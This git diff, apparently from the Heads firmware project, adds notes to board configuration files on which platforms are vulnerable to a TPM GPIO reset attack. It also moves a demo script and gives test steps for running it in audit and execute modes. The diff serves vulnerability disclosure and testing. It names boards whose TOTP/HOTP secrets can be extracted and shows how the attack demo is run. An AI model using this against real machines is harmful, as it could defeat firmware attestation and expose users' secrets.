a/boards/EOL_x230-maximized/EOL_x230-maximized.config +++ b/boards/EOL_x230-maximized/EOL_x230-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for a X230 running Qubes 4.1 and other Linux Based OSes (through kexec) # # Includes diff --git a/boards/EOL_z220-cmt-hotp-maximized/EOL_z220-cmt-hotp-maximized.config b/boards/EOL_z220-cmt-hotp-maximized/EOL_z220-cmt-hotp-maximized.config index 48d5d9c6a..600df1a24 100644 --- a/boards/EOL_z220-cmt-hotp-maximized/EOL_z220-cmt-hotp-maximized.config +++ b/boards/EOL_z220-cmt-hotp-maximized/EOL_z220-cmt-hotp-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for HP Z220 CMT with HOTP usb security dongle support # #The board supports Intel LGA1155, which allows for ME removal (both neuter+disable as claimed by me_cleaner), diff --git a/boards/EOL_z220-cmt-maximized/EOL_z220-cmt-maximized.config b/boards/EOL_z220-cmt-maximized/EOL_z220-cmt-maximized.config index 1bb026565..2f0d51c1f 100644 --- a/boards/EOL_z220-cmt-maximized/EOL_z220-cmt-maximized.config +++ b/boards/EOL_z220-cmt-maximized/EOL_z220-cmt-maximized.config @@ -1,4 +1,7 @@ # WARNING: This system remains perpetually vulnerable to Spectre v2 (CVE-2017-5715). Mitigations and microcode updates previously applied are now known to be ineffective due to QSB-107 and related CVEs. If Spectre v2 is a concern in your threat model, consider migrating to a platform with ongoing microcode support. Proper OPSEC for Memory Use MUST be followed:https://www.anarsec.guide/posts/qubes/#appendix-opsec-for-memory-use +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- dedicated PLTRST# pin, not shared with GPIO +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # Configuration for HP Z220 CMT without HOTP usb security dongle support # #The board supports Intel LGA1155, which allows for ME removal (both neuter+disable as claimed by me_cleaner), diff --git a/boards/UNTESTED_msi_z690a_ddr4/UNTESTED_msi_z690a_ddr4.config b/boards/UNTESTED_msi_z690a_ddr4/UNTESTED_msi_z690a_ddr4.config index 0fbf49897..467f1ac94 100644 --- a/boards/UNTESTED_msi_z690a_ddr4/UNTESTED_msi_z690a_ddr4.config +++ b/boards/UNTESTED_msi_z690a_ddr4/UNTESTED_msi_z690a_ddr4.config @@ -1,5 +1,6 @@ # MSI PRO Z690-A DDR4 board configuration - +# CAVEATS: TPM_GPIO_RESET=VULNERABLE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_msi_z690 export CONFIG_LINUX_VERSION=6.1.8 diff --git a/boards/UNTESTED_msi_z690a_ddr5/UNTESTED_msi_z690a_ddr5.config b/boards/UNTESTED_msi_z690a_ddr5/UNTESTED_msi_z690a_ddr5.config index dbc8803c3..7c28027a5 100644 --- a/boards/UNTESTED_msi_z690a_ddr5/UNTESTED_msi_z690a_ddr5.config +++ b/boards/UNTESTED_msi_z690a_ddr5/UNTESTED_msi_z690a_ddr5.config @@ -1,5 +1,6 @@ # MSI PRO Z690-A (DDR5) board configuration - +# CAVEATS: TPM_GPIO_RESET=VULNERABLE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_msi_z690 export CONFIG_LINUX_VERSION=6.1.8 diff --git a/boards/UNTESTED_msi_z790p_ddr4/UNTESTED_msi_z790p_ddr4.config b/boards/UNTESTED_msi_z790p_ddr4/UNTESTED_msi_z790p_ddr4.config index 7b67bf351..829a8389a 100644 --- a/boards/UNTESTED_msi_z790p_ddr4/UNTESTED_msi_z790p_ddr4.config +++ b/boards/UNTESTED_msi_z790p_ddr4/UNTESTED_msi_z790p_ddr4.config @@ -1,5 +1,6 @@ # MSI PRO Z790-P DDR4 board configuration - +# CAVEATS: TPM_GPIO_RESET=VULNERABLE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_msi_z790 export CONFIG_LINUX_VERSION=6.1.8 diff --git a/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config b/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config index f2587134e..654a8dccf 100644 --- a/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config +++ b/boards/UNTESTED_nitropad-ns50/UNTESTED_nitropad-ns50.config @@ -1,5 +1,7 @@ # Nitrokey Nitropad NS51 board configuration # Note: for reference, other GOP enabled FB board is librem_11 +# CAVEATS: TPM_GPIO_RESET=VULNERABLE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # # Docs: # Dissassembly and Recovery: https://docs.dasharo.com/unified/novacustom/recovery/#ns5x7x-12th-gen diff --git a/boards/UNTESTED_talos-2/UNTESTED_talos-2.config b/boards/UNTESTED_talos-2/UNTESTED_talos-2.config index d8dcf8e39..cc486fa84 100644 --- a/boards/UNTESTED_talos-2/UNTESTED_talos-2.config +++ b/boards/UNTESTED_talos-2/UNTESTED_talos-2.config @@ -1,5 +1,8 @@ # Configuration for a Talos 2 running Qubes and other OSes # The board uses BE coreboot and LE Linux kernel and initrd +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- POWER9 platform, not Intel +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_TARGET_ARCH=ppc64 export CONFIG_COREBOOT=y diff --git a/boards/librem_11/librem_11.config b/boards/librem_11/librem_11.config index e8a78fd78..364b6ea8f 100644 --- a/boards/librem_11/librem_11.config +++ b/boards/librem_11/librem_11.config @@ -1,4 +1,6 @@ # Configuration for librem_11 +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config CONFIG_COREBOOT_CONFIG=config/coreboot-librem_11.config diff --git a/boards/librem_14/librem_14.config b/boards/librem_14/librem_14.config index a7a36157f..a5a514c17 100644 --- a/boards/librem_14/librem_14.config +++ b/boards/librem_14/librem_14.config @@ -1,4 +1,6 @@ # Configuration for a librem 14 +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config CONFIG_COREBOOT_CONFIG=config/coreboot-librem_14.config diff --git a/boards/librem_l1um_v2/librem_l1um_v2.config b/boards/librem_l1um_v2/librem_l1um_v2.config index c1a70babd..e8db97359 100644 --- a/boards/librem_l1um_v2/librem_l1um_v2.config +++ b/boards/librem_l1um_v2/librem_l1um_v2.config @@ -1,4 +1,6 @@ # Configuration for librem_l1um_v2 +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config CONFIG_COREBOOT_CONFIG=config/coreboot-librem_l1um_v2.config diff --git a/boards/librem_mini/librem_mini.config b/boards/librem_mini/librem_mini.config index 72ba6e4a5..316458b57 100644 --- a/boards/librem_mini/librem_mini.config +++ b/boards/librem_mini/librem_mini.config @@ -1,4 +1,6 @@ # Configuration for a librem mini +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config CONFIG_COREBOOT_CONFIG=config/coreboot-librem_mini.config diff --git a/boards/librem_mini_v2/librem_mini_v2.config b/boards/librem_mini_v2/librem_mini_v2.config index 947145fad..60dada874 100644 --- a/boards/librem_mini_v2/librem_mini_v2.config +++ b/boards/librem_mini_v2/librem_mini_v2.config @@ -1,4 +1,6 @@ # Configuration for a librem mini v2 +# CAVEATS: TPM_GPIO_RESET=VULNERABLE -- TOTP/HOTP secret extractable, DUK with passphrase safe +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. CONFIG_LINUX_CONFIG=config/linux-librem_common-6.1.8.config CONFIG_COREBOOT_CONFIG=config/coreboot-librem_mini_v2.config diff --git a/boards/msi_z790p_ddr5/msi_z790p_ddr5.config b/boards/msi_z790p_ddr5/msi_z790p_ddr5.config index 91d71eed9..63c91439f 100644 --- a/boards/msi_z790p_ddr5/msi_z790p_ddr5.config +++ b/boards/msi_z790p_ddr5/msi_z790p_ddr5.config @@ -1,5 +1,6 @@ # MSI PRO Z790-P (DDR5) board configuration - +# CAVEATS: TPM_GPIO_RESET=VULNERABLE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_msi_z790 export CONFIG_LINUX_VERSION=6.1.8 diff --git a/boards/novacustom-nv4x_adl/novacustom-nv4x_adl.config b/boards/novacustom-nv4x_adl/novacustom-nv4x_adl.config index 55949736a..24aad0cdc 100644 --- a/boards/novacustom-nv4x_adl/novacustom-nv4x_adl.config +++ b/boards/novacustom-nv4x_adl/novacustom-nv4x_adl.config @@ -1,5 +1,7 @@ # NovaCustom NV4x 12th Gen (nv40pz: Alder Lake) board configuration # Note: for reference, other GOP enabled FB board is librem_11 +# CAVEATS: TPM_GPIO_RESET=VULNERABLE (unconfirmed) -- GPIO lock missing, attack not hardware-tested +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. # # Docs: # Dissassembly and Recovery: https://docs.dasharo.com/unified/novacustom/recovery/#12th-gen diff --git a/boards/novacustom-v540tu/novacustom-v540tu.config b/boards/novacustom-v540tu/novacustom-v540tu.config index 75033a92c..819ffeaa7 100644 --- a/boards/novacustom-v540tu/novacustom-v540tu.config +++ b/boards/novacustom-v540tu/novacustom-v540tu.config @@ -12,7 +12,9 @@ # # DISCLAIMER: Meteor Lake (Intel Gen 14) is not supposed to support s3 but coincidently does. In case s3 is broken, user must configure settings to not suspend or otherwise enable # ME/CSME for s0ix to work (unsupported by QubesOS when writing those lines) or use Hibernate (Not supported by QubesOS either) - +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- GPIO pad config lock functional on this platform +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_v56 export CONFIG_DASHARO_EC=y diff --git a/boards/novacustom-v560tu/novacustom-v560tu.config b/boards/novacustom-v560tu/novacustom-v560tu.config index bd3976a1b..e30f05916 100644 --- a/boards/novacustom-v560tu/novacustom-v560tu.config +++ b/boards/novacustom-v560tu/novacustom-v560tu.config @@ -12,7 +12,9 @@ # # DISCLAIMER: Meteor Lake (Intel Gen 14) is not supposed to support s3 but coincidently does. In case s3 is broken, user must configure settings to not suspend or otherwise enable # ME/CSME for s0ix to work (unsupported by QubesOS when writing those lines) or use Hibernate (Not supported by QubesOS either) - +# +# CAVEATS: TPM_GPIO_RESET=NOT_VULNERABLE -- GPIO pad config lock functional on this platform +# See doc/TPM_GPIO_Reset_Vulnerability.md for details. export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo_v56 export CONFIG_DASHARO_EC=y diff --git a/doc/TPM_GPIO_Reset_Approaches.md b/doc/TPM_GPIO_Reset_Approaches.md index 229670a06..4495f7ba5 100644 --- a/doc/TPM_GPIO_Reset_Approaches.md +++ b/doc/TPM_GPIO_Reset_Approaches.md @@ -599,13 +599,13 @@ For all platforms: # - Requires: bash, dd, xxd, /dev/mem access (CONFIG_STRICT_DEVMEM=n) # Step 2: Audit mode (safe -- reports vulnerability) -./initrd/bin/tpm-gpio-reset-demo.sh --audit +./tpm-gpio-reset-demo.sh --audit # Step 3: Check current PCR state pcrs # Or: tpm2 pcrread # Step 4: Execute mode (performs GPIO toggle, checks PCRs) -./initrd/bin/tpm-gpio-reset-demo.sh --execute +./tpm-gpio-reset-demo.sh --execute # Step 5: Report the following information: # - Platform: model, BIOS version, coreboot version diff --git a/initrd/bin/tpm-gpio-reset-demo.sh b/tpm-gpio-reset-demo.sh similarity index 100% rename from initrd/bin/tpm-gpio-reset-demo.sh rename to tpm-gpio-reset-demo.sh